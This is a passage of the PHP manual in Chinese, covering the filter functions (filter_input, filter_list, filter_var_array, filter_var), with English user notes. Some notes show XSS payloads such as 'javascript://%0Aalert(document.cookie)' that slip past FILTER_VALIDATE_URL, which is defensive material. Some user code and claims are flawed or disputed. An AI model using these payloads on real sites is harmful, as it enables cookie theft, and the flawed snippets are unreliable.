2. The return values section does not mention that if you specify the "default" option then the function will return the specified default value instead of returning FALSE or NULL (when filter fails or variable is absent).
rimelek at rimelek dot hu 20-Oct-2014 08:44
If your $_POST contains an array value:
<?php
$_POST  = array(
    'var' => array('more', 'than', 'one', 'values')
);
?>
you should use FILTER_REQUIRE_ARRAY option:
<?php
var_dump(filter_input(INPUT_POST, 'var', FILTER_DEFAULT , FILTER_REQUIRE_ARRAY));
?>
Otherwise it returns false.
viaujoc at videotron dot ca 04-Oct-2014 04:14
filter_input() does not seem to support multiple values for a single variable name.

Here is the code comparing the behavior of bare $_GET superglobal vs filter_input(INPUT_GET,...):
<?php
print("Bare \$_GET:\n");
var_dump($_GET);
print("filter_input():\n");
var_dump(filter_input(INPUT_GET,"var"));
?>

When calling: /..../script.php?var=123 (there is only one value for variable 'var')
Output is:
Bare $_GET:
array(1) {
  ["var"]=>
  string(3) "123"
}
filter_input():
string(3) "123"

When calling: /..../script.php?var[]=123&var[]=999 (there are two  values for variable 'var')
Output is:
Bare $_GET:
array(1) {
  ["var"]=>
  array(2) {
    [0]=>
    string(3) "123"
    [1]=>
    string(3) "999"
  }
}
filter_input():
bool(false)

As expected, $_GET['var'] became an array. But filter_input() seems to be unable to process multiple values and returns false.
CertaiN 23-May-2014 01:22
This function provides us the extremely simple solution for type filtering.

Without this function...
<?php
if (!isset($_GET['a'])) {
    $a = null;
} elseif (!is_string($_GET['a'])) {
    $a = false;
} else {
    $a = $_GET['a'];
}
$b = isset($_GET['b']) && is_string($_GET['b']) ? $_GET['b'] : '';
?>

With this function...
<?php
$a = filter_input(INPUT_GET, 'a');
$b = (string)filter_input(INPUT_GET, 'b');
?>

Yes, FILTER_REQUIRE_SCALAR seems to be set as a default option.
It's very helpful for eliminating E_NOTICE, E_WARNING and E_ERROR.
This fact should be documented.
descartavel1+php at gmail dot com 21-Apr-2014 06:50
contrary to what is stated here on the comments on thow to use the options for filters, there is no range option or default... in fact, there is not much option AT ALL. It is not mentioned in the manual anywhere, and the provided code on that comment does nothing with php-5.4.4..

<?php
get(GET, 'p', FILTER_VALIDATE_INT, array('options'=>array('default'=>5, 'min_range'=>0, 'max_range'=>9)) );
// ?p=30 => 30
// ?p="123" => 123
// ?p=-23 => -23
// ?p=asdf => null
?>
Stefan Weinzierl 16-Feb-2014 04:31
Here is an example how to work with the options-parameter. Notice the 'options' in the 'options'-Parameter!

<?php
$options=array('options'=>array('default'=>5, 'min_range'=>0, 'max_range'=>9));

$priority=filter_input(INPUT_GET, 'priority', FILTER_VALIDATE_INT, $options);
?>

$priority will be 5 if the priority-Parameter isn't set or out the given range.
akshay dot leadindia at gmail dot com 29-Aug-2013 02:17
The beauty of using this instead of directly using filter_var( $_GET['search'] ) is that you don't need to check if( isset( $_GET['search'] ) ) as if you pass that to filter_var and the key is not set then it will result in a warning. This function simplifies this and will return the relevant result to you (as per your options set) if the key has not been set in the user input.

If the type of filter you are using also supports a 'default' argument then this function will also stuff your missing input key with that value, again saving your efforts
west {:a7} jsausa {:d0t}~ com 28-Nov-2012 08:30
It's worth noting that the names for variables in filter input obey the same rules as variable naming in PHP (must start with an underscore or letter).  We were allowing users to build custom forms but hashing the names to prevent them from putting arbitrary content into the dom.  Turns out the hash function occasionally produced entirely numeric values for the field name... which doesn't work with filter_input but worked fine if you read directly from $_GET, $_POST, or $_REQUEST.  A workaround is to always prefix an underscore to the field name.
chris at chlab dot ch 20-Mar-2012 09:46
To use a class method for a callback function, as usual, provide an array with an instance of the class and the method name.
Example:

<?php
class myValidator
{
  public function username($value)
  {
    // return username or boolean false
  }
}

$myValidator = new myValidator;
$options = array('options' => array($myValidator, 'username'));
$username = filter_input(INPUT_GET, 'username', FILTER_CALLBACK, $options);
var_dump($username);
?>
ss23 at ss23 dot geek dot nz 28-Jul-2010 11:37
Note that this function doesn't (or at least doesn't seem to) actually filter based on the current values of $_GET etc. Instead, it seems to filter based off the original values.
<?php
$_GET['search'] = 'foo'; // This has no effect on the filter_input

$search_html = filter_input(INPUT_GET, 'search', FILTER_SANITIZE_SPECIAL_CHARS);
$search_url = filter_input(INPUT_GET, 'search', FILTER_SANITIZE_ENCODED);
echo "You have searched for $search_html.\n";
echo "<a href='?search=$search_url'>Search again.</a>";
?>

If you need to set a default input value and filter that, use filter_var on your required input variable instead
travismowens at gmail dot com 28-Jul-2010 09:21
I wouldn't recommend people use this function to store their data in a database.  It's best not to encode data when storing it, it's better to store it raw and convert in upon the time of need.

One main reason for this is because if you have a short CHAR(16) field and the text contains encoded characters (quotes, ampersand) you can easily take a 12 character entry which obviously fits, but because of encoding it no longer fits.

Also, while not as common, if you need to use this data in another place, such as a non webpage (perhaps in a desktop app, or to a cell phone SMS or to a pager) the HTML encoded data will appear raw, and now you have to decode the data.

In summary, the best way to architect your system, is to store data as raw, and encode it only the moment you need to.  So this means in your PHP upon doing a SQL query, instead of merely doing an   echo $row['title']  you need to run htmlentities() on your echos, or better yet, an abstract function.
Maksym Karazeev 03-Mar-2009 01:13
Just a tip.

Note how to setup default filter for filter_var_array

When I tried to use filter_var_array and didn't mentioned all array indexes in definition it filtered it with some filter and broke values so using this tip corrected everything

<?php
$def = array_map(create_function('', 'return array("filter"=>FILTER_UNSAFE_RAW);'), $input);
?>
anthony dot parsons at manx dot net 23-Aug-2007 02:10
FastCGI seems to cause strange side-effects with unexpected null values when using INPUT_SERVER and INPUT_ENV with this function. You can use this code to see if it affects your server:
<?php
var_dump($_SERVER);
foreach ( array_keys($_SERVER) as $b ) {
    var_dump($b, filter_input(INPUT_SERVER, $b));
}
echo '<hr>';
var_dump($_ENV);
foreach ( array_keys($_ENV) as $b ) {
    var_dump($b, filter_input(INPUT_ENV, $b));
}
?>
If you want to be on the safe side, using the superglobal $_SERVER and $_ENV variables will always work. You can still use the filter_* functions for Get/Post/Cookie without a problem, which is the important part!


返回所支持的过滤器列表

  • ? filter_input
  • filter_var_array ?
  • PHP Manual
  • 过滤器函数
  • 返回所支持的过滤器列表

filter_list

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

filter_list — 返回所支持的过滤器列表

说明

filter_list(): array

参数

此函数没有参数。

返回值

返回一个所支持的过滤器的名称的列表，如果没有这样子的过滤器的话则返回空数组。这个数组的索引不是过滤器id， 你可以通过 filter_id() 去根据名称获取它们。

示例

Example #1 一个 filter_list() 的例子

<?php
print_r(filter_list());
?>

以上示例的输出类似于：

Array
(
    [0] => int
    [1] => boolean
    [2] => float
    [3] => validate_regexp
    [4] => validate_url
    [5] => validate_email
    [6] => validate_ip
    [7] => string
    [8] => stripped
    [9] => encoded
    [10] => special_chars
    [11] => unsafe_raw
    [12] => email
    [13] => url
    [14] => number_int
    [15] => number_float
    [16] => magic_quotes
    [17] => callback
)

User Contributed Notes

shaman_master at list dot ru 18-Mar-2020 09:13
2 strings, but it's faster (-2 calls) and not the longest
<?php
$filters = filter_list();
$filters =  array_combine($filters, array_map('filter_id',  $filters));
?>
also I use id's as values: $filters[$filter] - get filter id by name
El diablo 07-Mar-2018 08:43
Get filter_list() with filter_id() as key.

<?php
print_r(array_flip(array_map('filter_id', array_combine(filter_list(), filter_list()))));
?>

Array
(
    [257] => int
    [258] => boolean
    [259] => float
    [272] => validate_regexp
    [277] => validate_domain
    [273] => validate_url
    [274] => validate_email
    [275] => validate_ip
    [276] => validate_mac
    [513] => stripped
    [514] => encoded
    [515] => special_chars
    [522] => full_special_chars
    [516] => unsafe_raw
    [517] => email
    [518] => url
    [519] => number_int
    [520] => number_float
    [521] => magic_quotes
    [1024] => callback
)
larry at weblabsperth dot com dot au 05-Sep-2016 09:42
Output a table of Filter IDs as Integers with corresponding Constant IDs:

<?php

echo '<table>';
echo '<tr>';
echo '<th>Filter Name</th>';
echo '<th>Filter Int ID</th>';
echo '<th>Filter Const ID</th>';
echo '</tr>';

foreach (filter_list() as $id =>$filter) {
    $const = 'FILTER_';
    switch($filter) {
        case 'int':
        case 'boolean':
        case 'float':
            $const .= 'VALIDATE_' . $filter;
        break;

        case 'string':
        case 'stripped':
        case 'encoded':
        case 'special_chars':
        case 'full_special_chars':
        case 'unsafe_raw':
        case 'email':
        case 'url':
        case 'number_int':
        case 'number_float':
        case 'magic_quotes':
            $const .= 'SANITIZE_' . $filter;
        break;
    }

    if (substr($filter,0,8)=='validate' || $filter=='callback')
        $const .= $filter;

    echo '<tr><td>' . $filter . '</td><td align="center">' . filter_id($filter) . '</td><td>' . strtoupper($const) . '</td></tr>';
}

echo '</table>';

?>
vb dot jyoti at gmail dot com 13-Aug-2008 11:57
<?php
echo "<pre>";
print_r(filter_list());
echo "</pre>";
foreach (filter_list() as $key => $value)
{
echo "<br>".$key."=".$value.'='.filter_id($value);
}
?>

0=int=257
1=boolean=258
2=float=259
3=validate_regexp=272
4=validate_url=273
5=validate_email=274
6=validate_ip=275
7=string=513
8=stripped=513
9=encoded=514
10=special_chars=515
11=unsafe_raw=516
12=email=517
13=url=518
14=number_int=519
15=number_float=520
16=magic_quotes=521
17=callback=1024


获取多个变量并且过滤它们

  • ? filter_list
  • filter_var ?
  • PHP Manual
  • 过滤器函数
  • 获取多个变量并且过滤它们

filter_var_array

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

filter_var_array — 获取多个变量并且过滤它们

说明

filter_var_array(array $array, array|int $options = FILTER_DEFAULT, bool $add_empty = true): array|false|null

不需要重复调用 filter_var() 就能获取多个变量。

参数

array

数组，键为字符串，值为待过滤的数据。

options

一个定义参数的数组。一个有效的键必须是一个包含变量名的string，一个有效的值要么是一个filter type，或者是一个array 指明了过滤器、标示和选项。如果值是一个数组，那么它的有效的键可以是 filter， 用于指明 filter type，flags 用于指明任何想要用于过滤器的标示，或者 options 用于指明任何想要用于过滤器的选项。 参考下面的例子来更好的理解这段说明。

这个参数也可以是一个filter constant的整数。那么数组中的所有值都会被这个过滤器所过滤。

add_empty

在返回值中添加 null 作为不存在的键。

返回值

如果成功则返回一个包含所请求变量的数组，或者当失败时返回 false 。 一个数组的值如果过滤失败则为 false ，或者为 null 如果变量不存在的话。

示例

Example #1 一个 filter_var_array() 的例子

<?php

$data = array(
'product_id' => 'libgd<script>',
'component' => '10',
'versions' => '2.0.33',
'testscalar' => array('2', '23', '10', '12'),
'testarray' => '2',
);

$args = array(
'product_id' => FILTER_SANITIZE_ENCODED,
'component' => array('filter' => FILTER_VALIDATE_INT,
'flags' => FILTER_FORCE_ARRAY,
'options' => array('min_range' => 1, 'max_range' => 10)
),
'versions' => FILTER_SANITIZE_ENCODED,
'doesnotexist' => FILTER_VALIDATE_INT,
'testscalar' => array(
'filter' => FILTER_VALIDATE_INT,
'flags' => FILTER_REQUIRE_SCALAR,
),
'testarray' => array(
'filter' => FILTER_VALIDATE_INT,
'flags' => FILTER_FORCE_ARRAY,
)

);

$myinputs = filter_var_array($data, $args);

var_dump($myinputs);
echo "\n";
?>

以上示例会输出：

array(6) {
  ["product_id"]=>
  string(17) "libgd%3Cscript%3E"
  ["component"]=>
  array(1) {
    [0]=>
    int(10)
  }
  ["versions"]=>
  string(6) "2.0.33"
  ["doesnotexist"]=>
  NULL
  ["testscalar"]=>
  bool(false)
  ["testarray"]=>
  array(1) {
    [0]=>
    int(2)
  }
}

参见

  • filter_input_array() - 获取一系列外部变量，并且可以通过过滤器处理它们
  • filter_var() - 使用特定的过滤器过滤一个变量
  • filter_input() - 通过名称获取特定的外部变量，并且可以通过过滤器处理它
  • 过滤器类型

User Contributed Notes

Anonymous 19-Jan-2023 07:07
To apply the same filter to many params/keys, use array_fill_keys().

<?php
$data = array(
    'product_id'    => 'libgd<script>',
    'component'     => '    10    ',
    'versions'      => '2.0.33',
    'testscalar'    => array('2', '23', '10', '12'),
    'testarray'     => '2',
);
$keys = array(
    'product_id',
    'component',
    'versions',
    'doesnotexist',
    'testscalar',
    'testarray'
);
$options = array(
    'filter' => FILTER_CALLBACK,
    'options' => function ($value) {
        return trim(strip_tags($value));
    },
);
$args = array_fill_keys($keys, $options);
/* Result
$args = array(
    'product_id' => array(
        'filter' => FILTER_CALLBACK,
        'options' => function ($value) {
            return trim(strip_tags($value));
        },
    ),
    'component' => array(
        'filter' => FILTER_CALLBACK,
        'options' => function ($value) {
            return trim(strip_tags($value));
        },
    ),
    'versions' => array(
        'filter' => FILTER_CALLBACK,
        'options' => function ($value) {
            return trim(strip_tags($value));
        },
    ),
    'doesnotexist' => array(
        'filter' => FILTER_CALLBACK,
        'options' => function ($value) {
            return trim(strip_tags($value));
        },
    ),
    'testscalar' => array(
        'filter' => FILTER_CALLBACK,
        'options' => function ($value) {
            return trim(strip_tags($value));
        },
    ),
    'testarray' => array(
        'filter' => FILTER_CALLBACK,
        'options' => function ($value) {
            return trim(strip_tags($value));
        },
    ),
);
*/

$myinputs = filter_var_array($data, $args);
var_dump($myinputs);

Output:

array(6) {
  'product_id' =>
  string(5) "libgd"
  'component' =>
  string(2) "10"
  'versions' =>
  string(6) "2.0.33"
  'doesnotexist' =>
  NULL
  'testscalar' =>
  array(4) {
    [0] =>
    string(1) "2"
    [1] =>
    string(2) "23"
    [2] =>
    string(2) "10"
    [3] =>
    string(2) "12"
  }
  'testarray' =>
  string(1) "2"
}
Vee W. 19-Jun-2019 04:37
$emails = [
    'a' => 'email1@domain.com',
    'b' => '<email2>@domain.com',
];

$result = filter_var_array($emails, FILTER_SANITIZE_EMAIL);
print_r($result);

// the result will be...
// array('a' => 'email1@domain.com', 'b' => 'email2@domain.com')
tongcheong77 at gmail dot com 12-Jul-2017 05:44
an update to previous post.

using regular expressions along with another filter in filter var array

$data = array(

  'regxp' =>  "`\tcafé\n`"

  );

$args = array(

  'regxp'  =>  array(

  'filter'=>FILTER_VALIDATE_REGEXP | FILTER_SANITIZE_STRING,
  'flags'=>FILTER_FLAG_STRIP_HIGH | FILTER_FLAG_STRIP_LOW | FILTER_FLAG_STRIP_BACKTICK,
  'options'=>array('regexp'=>"/t(.*)/"),

  ));

$output=filter_var_array($data,$args);

var_dump($output); // array(1) { ["regxp"]=> string(3) "caf" }

-bruce tong
tongcheong77 at gmail dot com 10-Jul-2017 06:10
for those who would like to know how to use regular expressions with filter var array. taken from w3 schools.

$data = array(

  'regxp' =>  'michael'

  );

$args = array(

  'regxp'  =>  array(

  'filter'=>FILTER_VALIDATE_REGEXP | FILTER_SANITIZE_STRING,
  'options'=>array('regexp'=>"/^michael$/"),

  ));

$output=filter_var_array($data,$args);

var_dump($output); // array(1) { ["regxp"]=> string(7) "michael" }

- bruce tong
eguvenc at gmail dot com 06-Jun-2009 03:45
<?php
//an example of simply sanitize an array..

$data = array(
                '<b>bold</b>',
                '<script>javascript</script>',
                'P*}i@893746%%%p*.i.*}}|.dw<?php echo "echo works!!";?>');

$myinputs = filter_var_array($data,FILTER_SANITIZE_STRING);

var_dump($myinputs);

//OUTPUT:
//formarray(3) { [0]=> string(4) "bold" [1]=> string(10) "javascript" [2]=> string(26) "P*}i@893746%%%p*.i.*}}|.dw" }
?>


使用特定的过滤器过滤一个变量

  • ? filter_var_array
  • 函数处理 ?
  • PHP Manual
  • 过滤器函数
  • 使用特定的过滤器过滤一个变量

filter_var

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

filter_var — 使用特定的过滤器过滤一个变量

说明

filter_var(mixed $value, int $filter = FILTER_DEFAULT, array|int $options = 0): mixed

参数

value

要过滤的内容。注意：标量值在过滤前，会被转换成字符串。

filter

要应用的过滤器 ID。过滤器类型 手册页面列出了可用的过滤器。

如果省略，将使用 FILTER_DEFAULT，默认等同于 FILTER_UNSAFE_RAW。这将导致不进行任何默认过滤。

options

一个选项的关联数组，或者按位区分的标示。如果过滤器接受选项，可以通过数组的 "flags" 下标去提供这些标示。 对于回调型的过滤器，应该传入 callable。 这个回调函数必须接受一个参数（即待过滤的值），并且返回一个在过滤/净化后的值。

<?php
// 对于接受选项的过滤器，请使用此格式
$options = array(
'options' => array(
'default' => 3, // 过滤器失败时返回的值
// 可以继续写过滤器接收其它选项
'min_range' => 0
),
'flags' => FILTER_FLAG_ALLOW_OCTAL,
);
$var = filter_var('0755', FILTER_VALIDATE_INT, $options);
// 对于仅接受标志的过滤器，您可以直接将其传递
$var = filter_var('oops', FILTER_VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE);
// 对于仅接受标志的过滤器，您还可以将其作为数组传递
$var = filter_var('oops', FILTER_VALIDATE_BOOLEAN,
array('flags' => FILTER_NULL_ON_FAILURE));
// 回调类型过滤器
function foo($value)
{
// 预期值: Surname, GivenNames
if (strpos($value, ", ") === false) return false;
list($surname, $givennames) = explode(", ", $value, 2);
$empty = (empty($surname) || empty($givennames));
$notstrings = (!is_string($surname) || !is_string($givennames));
if ($empty || $notstrings) {
return false;
} else {
return $value;
}
}
$var = filter_var('Doe, Jane Sue', FILTER_CALLBACK, array('options' => 'foo'));
?>

返回值

返回过滤后的数据，如果过滤失败则返回 false 。

示例

Example #1 一个 filter_var() 的示例

<?php
var_dump(filter_var('bob@example.com', FILTER_VALIDATE_EMAIL));
var_dump(filter_var('http://example.com', FILTER_VALIDATE_URL, FILTER_FLAG_PATH_REQUIRED));
?>

以上示例会输出：

string(15) "bob@example.com"
bool(false)

Example #2 过滤数组示例

<?php
$emails = [
"bob@example.com",
"test@example.local",
"invalidemail"
];

var_dump(filter_var($emails, FILTER_VALIDATE_EMAIL, FILTER_REQUIRE_ARRAY));
?>

以上示例会输出：

array(3) {
  [0]=>
  string(15) "bob@example.com"
  [1]=>
  string(18) "test@example.local"
  [2]=>
  bool(false)
}

参见

  • filter_var_array() - 获取多个变量并且过滤它们
  • filter_input() - 通过名称获取特定的外部变量，并且可以通过过滤器处理它
  • filter_input_array() - 获取一系列外部变量，并且可以通过过滤器处理它们
  • 过滤器类型

User Contributed Notes

remindfwd 08-Sep-2023 01:08
Please note that the following will return true, even if the URL is not correct. Because it validates only the domain, subdomain, path and query, not the protocol.

<?php

    filter_var( 'http://https://example.com', FILTER_VALIDATE_URL );
?>

Please read more on https://www.php.net/manual/en/filter.filters.validate.php
ajcorrea at gmail dot com 01-Jun-2023 02:32
You can use multiple FLAGS to validate an ip address:

//Validade if input is an IPv4 Address:
$_FILTERS = array('flags' => FILTER_FLAG_IPV4);

//Validade if input is an IPv4 address and isn′t a private IP.
$_FILTERS = array('flags' => FILTER_FLAG_IPV4 | FILTER_FLAG_NO_PRIV_RANGE);

//Validade if input is an IPv4 and isn′t a reserved IP.
$_FILTERS = array('flags' => FILTER_FLAG_IPV4 | FILTER_FLAG_NO_RES_RANGE);

//Validade if input is an IPv4, isn′t a private IP and isn′t a reserved IP.
$_FILTERS = array('flags' => FILTER_FLAG_IPV4 | FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE);

filter_var($_input, FILTER_VALIDATE_IP, $_FILTERS);
Guy Sartorelli 08-May-2023 03:06
Note that filter_var() with FILTER_VALIDATE_URL uses RFC2396 which is obsolete. This means it treats some currently valid characters (such as "_") as being invalid.

In many cases it may be more beneficial to use php parse_url() which uses RFC3986 which is what is currently in effect.
Anonymous 21-Feb-2023 09:33
Pay attention:
questionmark in url is also valid

<?php
echo filter_var("http://test???test.com", FILTER_VALIDATE_URL)?"valid":"not valid"; #valid
?>
mmerlone at gmail dot com 21-Sep-2021 02:03
Be aware that FILTER_FLAG_PATH_REQUIRED is happy with a single slash (/), so:

<?php
$options = array('flags' => FILTER_FLAG_PATH_REQUIRED);
filter_var('http://example.com', FILTER_VALIDATE_URL, $options); // returns false
filter_var('http://example.com/', FILTER_VALIDATE_URL, $options); // returns 'http://example.com/'
?>
rschuetz at hmcw dot com 22-Apr-2021 06:59
I cannot confirm what yactouat said. As of PHP 7.3, 0 will not be filtered out with FILTER_VALIDATE_INT. It correctly returns 0, not false. Of course you have to check the return value with an identity operator. Otherwise you cannot distinguish between 0 and false.
Robert Vlach 08-Apr-2020 06:33
I won't recommend using this function to validate email addresses on a normal website. The problem is that in accordance with RFC 3696 (Application Techniques for Checking and Transformation of Names) the following email addresses would be considered as valid:

customer/department=shipping@example.com
$A12345@example.com
!def!xyz%abc@example.com
_somename@example.com
"Abc@def"@example.com

Hardly something I would accept in a live web app in 2020 :-/
yactouat at hotmail dot com 18-May-2019 02:47
While getting familiar with filter_var( $var, FILTER_VALIDATE_INT ), I found interesting that 0 will be filtered out and therefore wont be considered as an int. Hope that helps someone not to be stuck ;)

N.B.: if you need to accept 0's, you could use is_int()
Steve 15-Oct-2018 01:47
The note from "hek" about HTML5 having patterns thus alleviating the need to filter in PHP is completely wrong:  You still must filter input on the server side.  The HTML5 form inputs are client-side, meaning they are completely under the user's control.  Only when you receive the data in PHP is it server-side and under your control.  Once the data is under your control, then you must filter/sanitize it properly.

This is true regardless of server-side language.  I would encourage the moderators to remove the note from "hek" because it will mislead people with horrible consequences.

Steve
Anonymous 06-Sep-2018 07:31
Replying to Andi:

This is NOT a valid URL, as the characters are not encoded

http://example.com/"><script>alert(document.cookie)</script>

This is a valid URL:

http://example.com/%22%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E
mpyw628 at gmail dot com 22-Jul-2018 10:40
I wrote a JavaScript email validator fully compatible with PHP's filter_var() implementation.

mpyw/FILTER_VALIDATE_EMAIL.js: Email validation compatible with PHP's filter_var($value, FILTER_VALIDATE_EMAIL)
https://github.com/mpyw/FILTER_VALIDATE_EMAIL.js
crisp at tweakers dot net 09-Jan-2018 10:31
Note that only using FILTER_VALIDATE_URL to validate url's input may result in XSS:

$url = 'javascript://%0Aalert(document.cookie)';

if (filter_var($url, FILTER_VALIDATE_URL, FILTER_FLAG_SCHEME_REQUIRED)) {
    echo '<a href="' . $url . '">click</a>';
}

You should at least additionally check the actually used scheme.
divinity76 at gmail dot com 22-Jun-2017 11:00
note that FILTER_VALIDATE_BOOLEAN tries to be smart, recognizing words like Yes, No, Off, On, both string and native types of true and false, and is not case-sensitive when validating strings.

<?php
$vals=array('on','On','ON','off','Off','OFF','yes','Yes','YES',
'no','No','NO',0,1,'0','1','true',
'True','TRUE','false','False','FALSE',true,false,'foo','bar');
foreach($vals as $val){
    echo var_export($val,true).': ';   var_dump(filter_var($val,FILTER_VALIDATE_BOOLEAN,FILTER_NULL_ON_FAILURE));
}
?>

outputs:
'on': bool(true)
'On': bool(true)
'ON': bool(true)
'off': bool(false)
'Off': bool(false)
'OFF': bool(false)
'yes': bool(true)
'Yes': bool(true)
'YES': bool(true)
'no': bool(false)
'No': bool(false)
'NO': bool(false)
0: bool(false)
1: bool(true)
'0': bool(false)
'1': bool(true)
'true': bool(true)
'True': bool(true)
'TRUE': bool(true)
'false': bool(false)
'False': bool(false)
'FALSE': bool(false)
true: bool(true)
false: bool(false)
'foo': NULL
'bar': NULL
alice at deviant dot email 02-May-2016 12:19
Many people, myself included, have found that the FILTER_VALIDATE_EMAIL does not actually properly work.

Below is a wrapper that I believe validates every legal routable address.

<?php

/*******************************************
 *
 * These are the function
 *
 *  check_username is called by check_email
 *  - it compensates for bugs in the php
 *    filter_var function.
 *  - returns boolean
 *
 *  check_email is the function to use.
 *  First argument is string, address to
 *    check
 *  Second argument is optional boolean,
 *    whether or not to use DNS to validate
 *    the domain name. Defaults to true
 *  Returns boolean
 *
 */

function check_username($uname) {
  //Only UTF-8 addresses are legal
  if (iconv('UTF-8', 'UTF-8', $input) != $input) {
      return FALSE;
  }
  //replace all characters above U+007F with letter U for simplicity of checking
  $uname = preg_replace('/[\x{007F}-\x{FFFF}]/u', 'U', $uname);

  //remove comments - only legal in format (comment) at beginning or end of username
  $s[] = '/^\([^\)]*\)/'; $s[] = '/\([^\)]*\)$/';
  $uname = preg_replace($s, '', $uname);
  //make sure we have something left
  if(strlen(trim($uname)) == 0) {
    return FALSE;
  }
  // check for legal dot usage
  if(substr_count($uname, '..') > 0) {
    return FALSE;
  }
  // convert \\ and \" to an A for simplicity
  $s[] = '/[\\\][\\\]/';
  $s[] = '/\\\"/';
  $uname = preg_replace($s, 'A', $uname);
  // check for illegal use of quotes
  if(preg_match('/[^.]+"[^.]+/', $uname)) {
    return FALSE;
  }
  // compensate for characters legal when in quotes
  $uname = preg_replace_callback('/"(.*)"/', function ($m) {
    $s[]="/[ \(\),\:;<>@\[\] ]/";
    return preg_replace($s,'Q',$m[1]);
    }, $uname);
  // check what we have left with filter_var
  return filter_var($uname . '@example.org', FILTER_VALIDATE_EMAIL);
}

function check_email($email, $dns_check=true) {
  $array = explode('@', $email);
  if(count($array) < 2) {
    return FALSE;
  }
  $domain = end($array);
  array_pop($array);
  if(function_exists('idn_to_ascii')) {
    //php filter no workie with unicode characters
    $domain = idn_to_ascii($domain);
  }
  $ipcheck = preg_replace(array('/^\[ipv6\:/i', '/^\[/', '/\]$/'), '', $domain);
  if(filter_var($ipcheck, FILTER_VALIDATE_IP)) {
    // it's an IP address
    if(! filter_var($ipcheck, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
      return FALSE;
    }
  } else {
    // it's a domain name
    //   php bug - FILTER_VALIDATE_EMAIL doesn't like naked TLD
    if(! filter_var('user@a.' . $domain, FILTER_VALIDATE_EMAIL)) {
      return FALSE;
    }
    if($dns_check) {
      if(! dns_get_record($domain)) {
        return FALSE;
      }
    }
  }
  //now check legal username
  return check_username(implode('@', $array));
}
?>
It evaluates the address in two parts, first evaluating the host and if that legal it then evaluates the user name.

If there is a DNS problem *and* the default $dns_check value of true is used, valid will fail. If it is an international domain name, you have to have the php-intl package installed.

Enjoy.
buttflattery at gmail dot com 18-Jan-2016 03:15
FILTER_VALIDATE_URL validates a url like http://www.
Ant 14-Dec-2015 02:20
Note: filter_var with filter=FILTER_VALIDATE_URL used parse_url function
dan at spiral8 dot net 08-Dec-2015 02:23
Here's a simple test using filter_var with FILTER_VALIDATE_URL.
(If you're using file_get_contents after this you will run into a problem, I was using: PHP 5.5.12 (cli))

<?php
$url = 'a://google.com';

$result = filter_var($url, FILTER_VALIDATE_URL);

if($result){
    echo 'Valid URL'.PHP_EOL;
}

var_dump($result);
?>

The result is:
Valid URL
string(14) "a://google.com"
yoanlin93 at gmail dot com 22-Nov-2015 06:34
Some boolean conversions:

<?php
var_dump(filter_var('oops', FILTER_VALIDATE_BOOLEAN, array('flags' => FILTER_NULL_ON_FAILURE)));
// NULL

var_dump(filter_var('false', FILTER_VALIDATE_BOOLEAN, array('flags' => FILTER_NULL_ON_FAILURE)));
// bool(false)

var_dump(filter_var('true', FILTER_VALIDATE_BOOLEAN, array('flags' => FILTER_NULL_ON_FAILURE)));
// bool(true)

var_dump(filter_var(0, FILTER_VALIDATE_BOOLEAN, array('flags' => FILTER_NULL_ON_FAILURE)));
// bool(false)

var_dump(filter_var(1, FILTER_VALIDATE_BOOLEAN, array('flags' => FILTER_NULL_ON_FAILURE)));
// bool(true)

var_dump(filter_var('TRUE', FILTER_VALIDATE_BOOLEAN, array('flags' => FILTER_NULL_ON_FAILURE)));
// bool(true)

var_dump(filter_var('', FILTER_VALIDATE_BOOLEAN, array('flags' => FILTER_NULL_ON_FAILURE)));
// bool(false)

var_dump(filter_var('FALSE', FILTER_VALIDATE_BOOLEAN, array('flags' => FILTER_NULL_ON_FAILURE)));
// bool(false)
Anonymous 04-Nov-2015 11:20
FILTER_VALIDATE_URL allows:

filter_var('javascript://comment%0Aalert(1)', FILTER_VALIDATE_URL);

Where the %0A (URL encoded newline), in certain contexts, will split the comment from the JS code.

This can result in an XSS vulnerability.
joe at bloe dot com 13-Jul-2014 03:04
"(comment)localpart@example.com"
is an invalid E-Mail address per RFC5322 (Appendix A.6.3):
"Also, the comments and white space throughout addresses, dates, and message identifiers are all part of the obsolete syntax."
Tom 18-Nov-2013 10:23
It is important to note that though the data type of the first parameter of the function is stated as "mixed", this is only one half of the truth.

While it accepts any data type, the first parameter will always be cast to string before being validated or sanitized.

It seems that this function was designed strictly to be used on user input strings. For example: from an online-form. When using it for anything other than that, you may see issues. So read the documentation very carefully!

Especially note that there is an (to date) unresolved issue (#49510) concerning the Boolean filter while using the FILTER_NULL_ON_FAILURE flag. Note that both (string) FALSE and FALSE are not recognized as boolean values and will return NULL (not FALSE as you might expect).

I thus personally suggest that (to date) the best way to take the filter_var()-functions beyond their original purpose (and allow future extension and customization) is to wrap them in your own classes. This will allow you to work-around unexpected behavior on non-string input and add your custom checks, or back-port filters or sanitizers that may be added in later versions of PHP.
(Especially since PHP currently still lacks filters and sanitizers for some of the more exotic HTML5 input types, like "color". Thus there actually is a chance that we may see a need for custom filters or backports at some point in the future.)
gt at kani dot hu 21-Jun-2013 02:31
I found some addresses that FILTER_VALIDATE_EMAIL rejects, but RFC5321 permits:
<?php
foreach (array(
        'localpart.ending.with.dot.@example.com',
        '(comment)localpart@example.com',
        '"this is v@lid!"@example.com',
        '"much.more unusual"@example.com',
        'postbox@com',
        'admin@mailserver1',
        '"()<>[]:,;@\\"\\\\!#$%&\'*+-/=?^_`{}| ~.a"@example.org',
        '" "@example.org',
    ) as $address) {
    echo "<p>$address is <b>".(filter_var($address, FILTER_VALIDATE_EMAIL) ? '' : 'not')." valid</b></p>";
}
?>
Results:

localpart.ending.with.dot.@example.com is not valid
(comment)localpart@example.com is not valid
"this is v@lid!"@example.com is not valid
"much.more unusual"@example.com is not valid
postbox@com is not valid
admin@mailserver1 is not valid
"()<>[]:,;@\"\\!#$%&'*+-/=?^_`{}| ~.a"@example.org is not valid
" "@example.org is not valid

The documentation does not saying that FILTER_VALIDATE_EMAIL should pass the RFC5321, however you can meet with these examples (especially with the first one). So this is a note, not a bug report.
drew_mirage at hotmail dot com 18-Jun-2013 07:14
One key thing to remember about filtering integers is that the value for the option max_range must be less than or equal to the value of PHP_INT_MAX.

